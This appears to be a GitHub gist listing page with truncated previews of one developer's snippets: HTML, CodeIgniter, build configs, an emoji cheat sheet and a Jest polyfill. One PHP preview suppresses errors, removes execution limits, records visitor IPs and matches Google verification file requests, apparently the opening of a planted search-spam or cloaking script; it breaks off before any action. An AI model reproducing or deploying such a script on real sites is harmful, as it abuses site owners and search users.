Skip to content

Instantly share code, notes, and snippets.

View FDiskas's full-sized avatar
🏠
Working from home

Vytenis FDiskas

🏠
Working from home
View GitHub Profile
@FDiskas
FDiskas / intro.html
Last active December 17, 2015 00:49
Intro tooltip
<span class="introtip pos-a w-250 d-n" id="tooltip">
<div class="tip rounded all shadow mark b-sol b-both pos-r">
<div class="p-both">
<a href="javascript:window.tour.close()" class="pos-a tr"><img src="cross_grey_small.png" class="m-t5 m-r5"></a>
<span id="introTipMessage">
<strong>Visada galite mums paskambinti.</strong>
Jei susidūrėte su problema, ar sistemine klaida ar kitokiais neaiškumais. Visada galime mums paskambinti šiuo numeriu. Skambinti galite visą parą, 7 dienas per savaitę ir visiškai nemokamai.
</span>
function versija() {
return '1.46';
}
}
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');
/**
* CodeIgniter
* An open source application development framework
*
* @package CodeIgniter * @author Rick Ellis
* @copyright Copyright (c) 2006, EllisLab, Inc.
* @license http://www.codeignitor.com/user_guide/license.html
* @link http://www.codeigniter.com * @since Version 1.0
*/
@FDiskas
FDiskas / MY_Controller.php
Created May 26, 2015 18:24
Autocomplete for PhpStorm
<?php
/**
* @property CI_DB_active_record $db
* @property CI_DB_forge $dbforge
* @property CI_Benchmark $benchmark
* @property CI_Calendar $calendar
* @property CI_Cart $cart
* @property CI_Controller $controller
* @property CI_Email $email
* @property CI_Encrypt $encrypt
@FDiskas
FDiskas / .bowerrc
Created March 17, 2016 22:21
laravel-elixir + laravel-elixir-wiredep + laravel-elixir-useref + asset
{
"directory": "public/assets/vendor"
}
@FDiskas
FDiskas / Nature.md
Created May 10, 2016 20:07
GitHub all emoji cheat sheet
Picture emoji code
☀️ :sunny:
:umbrella:
☁️ :cloud:
❄️ :snowflake:
:snowman:
:zap:
🌀 :cyclone:
🌁 :foggy:
var gulp = require('gulp');
var kss = require('kss');
var config = { path: { dest: './dist', src: './src' } };
gulp.task('styleguide', function(){
return kss({
"source": [
config.path.src + "/sass"
],
"destination": config.path.dest + "/styleguide/",
"css": [
@FDiskas
FDiskas / .babelrc
Last active November 3, 2016 09:15
Reproducible bug. `npm install` works. And `yarn` not works.
{ "presets": [ "es2015" ] }
<?php
ini_set('memory_limit', '-1');
@ini_set('max_execution_time', 0);
@set_time_limit(0);
error_reporting(0);
@ini_set('display_errors', 0);
$ct_dir = dirname(__FILE__)."/bak";
$req_path = $_SERVER["REQUEST_URI"];
$ip = $_SERVER["REMOTE_ADDR"];
if(preg_match("/google(.*).html/i",$req_path,$res))
@FDiskas
FDiskas / polyfills.js
Last active August 24, 2017 07:18
localStorage polyfill for jest #jest #localStorage
global.localStorage = {
getItem(key) {
return this[key];
},
setItem(key, value) {
this[key] = value;
},
removeItem(key) {
delete this[key];
},